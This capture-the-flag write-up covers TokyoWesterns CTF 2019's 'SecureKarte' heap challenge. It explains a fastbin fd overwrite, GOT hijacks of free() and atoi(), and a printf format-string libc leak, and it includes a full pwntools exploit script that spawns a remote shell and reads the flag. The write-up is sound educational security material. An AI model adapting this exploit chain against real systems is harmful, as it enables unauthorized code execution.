Rating:

# SecureKarte
by mito

## 32 solves, 255 pts

* There is a vulnerability that can modify the fd of a free chunk in the Modify function (executable only once).
* It seems to be able to exploit with fastbins unlink attack, but there is no value that can be used with p->size=0x7f that can change the list and lock part.
* After spending a while, I remembered that if I specified a large size with malloc(), it would be allocated after the libc page. I can write 0x7f in list.
* The Modify function can be used multiple times by rewriting the lock value to 0xdeadc0bebeef.
* Since the Modify function can be used, the free() function was rewritten to the printf() function plt by GOT overwrite.
* The libc leak used printf's FSB.
* Finally, I rewritten the address of the atoi() function to the address of the system() function with GOT overwrite and started the shell.
* When ASLR is enabled, the heap address size differs 3 bytes and 4 bytes, so the shell can be started with a probability of 2/3.

The list+21 address is written to fastbins
```
pwndbg> bins
tcachebins
0x70 [ 7]: 0x603500 —▸ 0x603490 —▸ 0x603420 —▸ 0x6033b0 —▸ 0x603340 ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x602155 (list+21) ◂— 0x6035e0000081
0x80: 0x0
unsortedbin
```

State where 0x7fxxxxxxxxxx is written in the list part
```
0x602110 <reserved+112>: 0x0000000000000000 0x0000000000000000
0x602120 <zfd>: 0x0000000400000003 0x0000000000000000
0x602130: 0x0000000000000000 0x0000000000000000
0x602140 <list>: 0x0000a37000000001 0x00000000006035e0
0x602150 <list+16>: 0x0000c15200000000 0x00007ffff7fb5010 <= write 0x7f in list!
0x602160 <list+32>: 0x000081e800000000 0x00000000006035e0
0x602170 <lock>: 0x073d757afab77c34 0x0000000000000000
0x602180 <stdout@@GLIBC_2.2.5>: 0x00007ffff7dd0760 0x0000000000000000
0x602190 <key>: 0x0000deadc0bebeef 0x0000000000000000
0x6021a0 <name>: 0x5858585858585858 0x5858585858585858
0x6021b0 <name+16>: 0x0000000000000000 0x0000000000000000
0x6021c0 <name+32>: 0x0000000000000000 0x0000000000000000
0x6021d0 <name+48>: 0x0000000000000000 0x0000000000000000
```

Below is the exploit code.
```
# TokyoWesterns_CTF_5th_2019 / SecureKarte exploit code
# 255 points / 32 solves
# local is ubuntu 18.04

from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './karte'
elf = ELF(BINARY)
libc = elf.libc

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "karte.chal.ctf.westerns.tokyo"
PORT = 10001
s = remote(HOST, PORT)
local = 0
else:
#s = process([BINARY],env={'LD_PRELOAD': './libc.27.so'})
s = process(BINARY)
local = 1

def Add(size, data):
s.sendlineafter("> ", "1")
s.sendlineafter("Input size > ", str(size))
s.sendafter("Input description > ", data)
s.recvuntil("Added id ")
r = s.recvuntil("\n")[:-1]
return int(r)

def Delete(id):
s.sendlineafter("> ", "3")
s.sendlineafter("Input id > ", str(id))

def Modify(id, data):
s.sendlineafter("> ", "4")
s.sendlineafter("Input id > ", str(id))
s.sendafter("Input new description > ", data)

def Rename(name):
s.sendlineafter("> ", "99")
s.sendlineafter("Input patient name... ", name)

def Exit():
s.sendlineafter("> ", "0")

s.sendlineafter("Input patient name... ", "X"*0x10)

# for making fastbin, tcache is filled with seven chunks
for i in range(7):
id0 = Add(0x60, "A"*0x5f)
Delete(id0)

id0 = Add(0x60, "B"*0x5f)

# make 0x7fxxxxxxxxxx in list
id3 = Add(0x21000, "Y"*0x5f)

id2 = Add(0x60, "C"*0x5f)
Delete(id0)
Delete(id2)

# fastbins unlink attack
if local == 1:
Modify(id2, p64(0x602155)[0:3])
else:
Modify(id2, p64(0x602155)[0:4]) # if ASLR is enabled, probability is higher

# for FSB of printf
id0 = Add(0x60, "%13$p")
Delete(id3)

# change lock=0xdeadc0bebeef
id1 = Add(0x60, "E"*0xb+p64(0xdeadc0bebeef))

# GOT overwrite free => printf
Modify(id1, "\x01"*3 + p64(elf.got['free']))

# get libc address using FSB of printf
Modify(0x1010100+(id2&0xff), p64(elf.plt['printf'])[0:6])
Delete(id0)
r = s.recvuntil('\n')[2:-1]
libc_leak = int(r, 16)
libc_base = libc_leak - 0x21b97
system_addr = libc_base + libc.symbols['system']

print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)
print "system_addr =", hex(system_addr)

# GOT overwrite atoi => system
Modify(id1, "\x01"*3 + p64(elf.got['atoi'])[0:3])
Modify(0x1010100+(id2&0xff), p64(system_addr)[0:6])

# Start /bin/sh
s.sendlineafter("> ", "/bin/sh\x00")

s.interactive()

'''
# TokyoWesterns_CTF_5th_2019/Pwn_SecureKarte$ python exploit.py r
[+] Opening connection to karte.chal.ctf.westerns.tokyo on port 10001: Done
libc_leak = 0x7fd9413b1b97
libc_base = 0x7fd941390000
system_addr = 0x7fd9413df440
[*] Switching to interactive mode
$ id
uid=40028 gid=40000(karte) groups=40000(karte)
$ ls
flag
karte
$ cat flag
TWCTF{pr1n7l355_15_50_53cur3!}
'''
```